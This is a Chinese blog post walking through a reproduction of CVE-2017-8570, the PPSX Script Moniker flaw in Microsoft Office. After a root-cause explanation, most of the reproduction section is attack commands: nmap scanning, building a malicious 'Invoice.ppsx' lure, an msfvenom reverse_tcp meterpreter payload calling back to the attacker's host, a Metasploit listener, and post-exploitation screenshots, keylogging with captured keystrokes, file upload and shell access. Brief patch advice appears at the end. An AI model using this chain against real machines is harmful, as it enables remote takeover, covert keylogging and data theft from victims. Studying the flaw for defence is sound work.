CVE-2017-8570漏洞复现

详细复现流程,请直接看文章的渗透流程复现与EXP分析模块

引言

课题背景

Office作为当前市场占有率最高的办公软件,却常常被爆高危漏洞,其中编号为CVE-2017-8570的远程代码执行漏洞危害尤其之大。CVE-2017-8570是一个逻辑漏洞,和常规的内存破坏型漏洞不同,这类漏洞无需复杂的利用手法,直接就可以在office文档中运行任意的恶意脚本。

CVE-2017-8570漏洞是利用复合Moniker绕过了CVE-2017-0199的补丁针对Script Moniker和URL Moniker相关classid的拦截,目前野外暂未发现攻击样本。

本课题的研究方法

① 理解“PPSX Script Moniker”漏洞——文件格式层面

② 了解漏洞成因

③ 学习解析Moniker字符串的知识

④ 学习Freemarker模板

⑤ 在Ubuntu系统环境下进行复现

⑥ 使用BurpSuite、Cknife工具对靶场进行渗透复现

漏洞测试影响软件

Microsoft Office 2007 Service Pack 3

Microsoft Office 2010 Service Pack 2 (32-bit editions)

Microsoft Office 2010 Service Pack 2 (64-bit editions)

Microsoft Office 2013 RT Service Pack 1

Microsoft Office 2013 Service Pack 1 (32-bit editions)

Microsoft Office 2013 Service Pack 1 (64-bit editions)

Microsoft Office 2016 (32-bit edition)

Microsoft Office 2016 (64-bit edition)

漏洞测试环境

受害者(靶机)

操作系统: windows 7 sp1 x86

Office****版本Office 专业增强版 2016

ip 192.168.89.129

攻击者

操作系统Kali Linux

ip192.168.89.134

相关知识和工具简介

“PPSX Script Moniker”漏洞——文件格式层面

① rId1”是一个被我们的” 魔术字符串”定义的OLE对象

1.png

② “rId1”被定义为一个“link”对象并且与尝试去执行OLE“Verb”动作的动画特性相关联

2.png

③ 解析Moniker字符串

“MkParseDisplayName()”被调用以将“魔术字符串”转换成一个Moniker对象

object

0:000> r
……

ole32!MkParseDisplayName:

772ece79 8bff mov edi,edi

0:000> du poi(esp+4*2)

0030ccc4 “script:http://server/test.sct

事实上,在这里,第一个“:”之前的字符串是重要的

scripthttp://server/test.sct

这个过程有效小复杂,更多细节请阅读:

https://msdn.microsoft.com/en-us/library/windows/desktop/ms691253(v=vs.85).aspx

④ 什么是“script”Moniker

4.png

CLSID:06290BD3-48AA-11D2-8432-006008C3FBFC

Ø 这是给Windows脚本组件所用的moniker

Ø 如果你意识到了“脚本/小脚本”, “无需文件”的恶意代码..(@subtree & 其他人的工作)

Ø https://github.com/subtee

⑤ 激活Moniker

Ø 然而,初始化“script” moniker事实上并不会让你“运行”内部的脚本

Ø 你仍然需要去“绑定”(“激活”)这个对象

一个简单的实验可以证明该点

Ø 用“script:http://server/test.sct”作为参数调用MkParseDisplayName()并不会让你的代码得到执行(只有scrobj.dll这个moniker dll会被加载)

Ø 但是在初始化对象时调用BindToObject()会给你带来一切

Ø 这样一个“verb”动作执行尝试通过PowerPoint放映的“动画”特性去激活相关联的对象

Ø IMoniker::BindToObject()被调用

Ø 不像“RTF URL Moniker”漏洞,被利用的进程起始于OLE API OleCreateLink(),而不是OleRun()

⑥ 对根本原因的总结

Ø 这个漏洞是由于monikers可以通过一个PowerPoint放映文件来初始化和激活这一事实

Ø 关键点在这里,在PowerPoint的动画特性中尝试去执行“verb”动作时激活了对象,这最终调用了moniker上的“BindToObject()”

Ø Windows 脚本组件(“script” Moniker)被设计用来发现和运行脚本

Ø 无需来自另外OLE对象的帮助

6.png

环境设计

Office 2016增强版

考虑到现在大多数设备使用Office 2016版本,并且未打补丁,选用此版本更具代表性。

office2016.jpg

攻击机Kali Linux

集成众多渗透软件,便于使用

渗透流程复现与EXP分析

使用nmap确定渗透对象

nmap -sP 192.168.89.0/24

使用nmap确定渗透对象.jpg

使用nmap尝试远程识别靶机操作系统

nmap -O 192.168.89.129

使用nmap尝试远程识别靶机操作系统.jpg

生成恶意 PPSX 文件

python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.1.134/logo.doc

生成恶意 PPSX 文件.jpg

生成恶意的exe文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.134 LPORT=4444 -f exe > /tmp/shell.exe

生成恶意的exe文件.jpg

生成监听模式,监听来自 ppsx 执行反弹 shell:(这里会自动启动 80 端口)

python cve-2017-8570_toolkit.py -M exp -e http://192.168.1.134/shell.exe -l /tmp/shell.exe

监听来自 ppsx 执行反弹.jpg

生成msf的监听

msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.134; run"

生成msf的监听.jpg

将生成的恶意 Invoice.ppsx 文件复制到目标靶机 win7 系统,然后执行:

将恶意文件复制到win7.jpg

即可在msf反弹metertprter的shell出来:

在msf反弹shell.jpg

漏洞修复

  1. 不要打开任何来源不明的 Office ppt 文档

2.及时更新并安装微软 2017 年 7 月发布的最新补丁: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CV E-2017-8570fs

后续渗透

截图

meterpreter > screenshot

Screenshot saved to: /root/ccoDxgvg.jpeg

截图.jpg

键盘记录

meterpreter > keyscan_start # 开启键盘记录

Starting the keystroke sniffer...

meterpreter > keyscan_dump #查看键盘记录内容

Dumping captured keystrokes...

**

-[ C:\soft\SogouExplorer\SogouExplorer.exe

-[ @ 2017年8月13日  4:07:31 UTC

**

<Shift>xiaojiejie <Shift>chain<^H><^H><^H>inajoy<CR>

meterpreter > keyscan_stop #关闭键盘记录

上传文件

meterpreter > upload /root/hacker.txt C:\\Users\\DELL\\Desktop

上传文件1.jpg

上传文件2.jpg

shell

meterpreter > shell

shell 顾名思义就是shell了,这个命令相当于完全控制了windows的cmd命令行,可以执行任意cmd操作,当然只要权限足够大的话。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 199,478评论 5 467
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 83,825评论 2 376
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 146,482评论 0 330
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,726评论 1 271
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,633评论 5 359
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,018评论 1 275
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,513评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,168评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,320评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,264评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,288评论 1 328
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,995评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,587评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,667评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,909评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,284评论 2 345
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,862评论 2 339

推荐阅读更多精彩内容